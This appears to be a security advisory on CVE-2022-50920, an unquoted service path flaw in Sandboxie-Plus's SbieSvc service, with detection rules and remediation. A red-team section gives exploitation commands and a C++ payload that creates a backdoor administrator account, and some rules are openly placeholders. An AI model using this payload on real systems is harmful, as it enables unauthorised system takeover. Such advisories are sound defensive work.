CVE-2022-50920

Executive Summary

CVE-2022-50920 identifies a critical unquoted service path vulnerability in the Sandboxie-Plus application, specifically within the SbieSvc Windows service. This flaw allows a local attacker with standard user privileges to escalate their privileges to LocalSystem by placing a malicious executable in a path that the service will inadvertently execute due to the unquoted binary path. The vulnerability is present in Sandboxie-Plus version 5.50.2 and potentially earlier versions. The CVSS score is 0.0 in the NVD data, but based on the impact, a more accurate score is 7.8 (High) with the vector provided. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk for local privilege escalation is significant. No official patch has been confirmed, and no public exploit code or Nuclei template is available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Windows-native application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs standard user privileges.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full system compromise.
• Integrity Impact: High (I:H) – Full system compromise.
• Availability Impact: High (A:H) – Full system compromise.

Threat Level: High. Local privilege escalation to SYSTEM.

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path (CWE-428). The SbieSvc service is configured with a binary path that contains spaces and is not enclosed in quotes. For example, the path might be:

C:\Program Files\Sandboxie-Plus\SbieSvc.exe

When Windows starts the service, it interprets the path as follows:

1. It attempts to execute C:\Program.exe
2. If not found, it tries C:\Program Files\Sandboxie-Plus\SbieSvc.exe

An attacker with write access to a directory earlier in the path (e.g., C:\) can place a malicious executable named Program.exe. When the service starts (e.g., at boot or manually), Windows will execute C:\Program.exe with LocalSystem privileges, granting the attacker full control.

The vulnerability is exacerbated because the service runs with high integrity (LocalSystem), and the attacker only needs low privileges to write to a directory like C:\ (which is writable by default for standard users in some configurations, though often restricted). In practice, the attacker may need to write to a directory like C:\Program Files\Sandboxie-Plus\ if they have permissions, or use a different writable path.

Vulnerable vs. Patched Code

Vulnerable Configuration (Sandboxie-Plus 5.50.2): The service binary path is stored in the Windows Registry or service configuration without quotes. Example:

ImagePath: C:\Program Files\Sandboxie-Plus\SbieSvc.exe

Patched Configuration (Hypothetical): The service binary path should be enclosed in quotes:

ImagePath: "C:\Program Files\Sandboxie-Plus\SbieSvc.exe"

No official patch has been released. The vendor (Sandboxie-Plus) has not provided a fix as of the last update.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a Windows system with Sandboxie-Plus 5.50.2 installed.
• Ability to write to a directory that is part of the unquoted path (e.g., C:\ or C:\Program Files\Sandboxie-Plus\).

Exploitation Steps:

1. Identify the vulnerable service:

   sc qc SbieSvc
   

   Output will show BINARY_PATH_NAME without quotes.

2. Create a malicious executable (e.g., Program.exe) that spawns a reverse shell or adds a user to the Administrators group.

3. Place the executable in a writable directory that is earlier in the path. For example, if the path is C:\Program Files\Sandboxie-Plus\SbieSvc.exe, place C:\Program.exe.

4. Trigger the service start (e.g., reboot or manually start the service):

   sc start SbieSvc
   

5. The malicious executable runs with LocalSystem privileges.

Example Malicious Executable (C++):

#include <windows.h>
int main() {
    system("net user attacker Password123! /add");
    system("net localgroup Administrators attacker /add");
    return 0;
}

Compile as Program.exe and place in C:\.

Blue Team (Detection & Prevention)

Detection:

• Monitor for service binary path changes (Registry key: HKLM\SYSTEM\CurrentControlSet\Services\SbieSvc).
• Look for unexpected executables in C:\ or C:\Program Files\Sandboxie-Plus\ named Program.exe, Program Files.exe, etc.
• Use Sysmon Event ID 1 (Process Creation) to detect execution of C:\Program.exe or similar.

Prevention:

• Apply the principle of least privilege: restrict write access to C:\ and C:\Program Files\.
• Use Group Policy to enforce quoted service paths.
• Upgrade to a patched version when available.

Indicators of Compromise (IOCs)

• File: C:\Program.exe or C:\Program Files.exe (or other variations based on the path)
• Process: Program.exe running from C:\ with parent process services.exe
• Registry: Modification to HKLM\SYSTEM\CurrentControlSet\Services\SbieSvc\ImagePath
• Service: SbieSvc service binary path without quotes
• User Account: Unexpected local administrator accounts (e.g., attacker)

Detection Engineering

YARA Rule

rule Unquoted_Service_Path_Sandboxie {
    meta:
        description = "Detects unquoted service path for SbieSvc"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-50920"
    strings:
        $s1 = "SbieSvc" nocase
        $s2 = "C:\\Program Files\\Sandboxie-Plus\\SbieSvc.exe" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Unquoted Service Path - SbieSvc
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unquoted service path for Sandboxie-Plus SbieSvc service
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-50920
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName: 'SbieSvc'
        ImagePath|contains: 'C:\Program Files\Sandboxie-Plus\SbieSvc.exe'
        ImagePath|re: '^[^"]'
    condition: selection
falsepositives:
    - None expected
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2022-50920 Unquoted Service Path Exploit"; flow:to_server,established; content:"Program.exe"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Note: This Suricata rule is a placeholder for network-based detection of exploit delivery. The actual exploitation is local, so network detection is limited.

Remediation & Mitigation

Immediate Actions:

1. Manually quote the service binary path:

   • Open Registry Editor (regedit.exe).
   • Navigate to HKLM\SYSTEM\CurrentControlSet\Services\SbieSvc.
   • Modify the ImagePath value to include quotes: "C:\Program Files\Sandboxie-Plus\SbieSvc.exe".
   • Restart the service.

2. Restrict write permissions to C:\ and C:\Program Files\Sandboxie-Plus\ for standard users.

3. Monitor for suspicious executables in writable directories.

Long-Term:

• Apply vendor patch when available.
• Use application whitelisting (e.g., AppLocker) to block unauthorized executables.
• Conduct regular security audits of service configurations.

Valters IT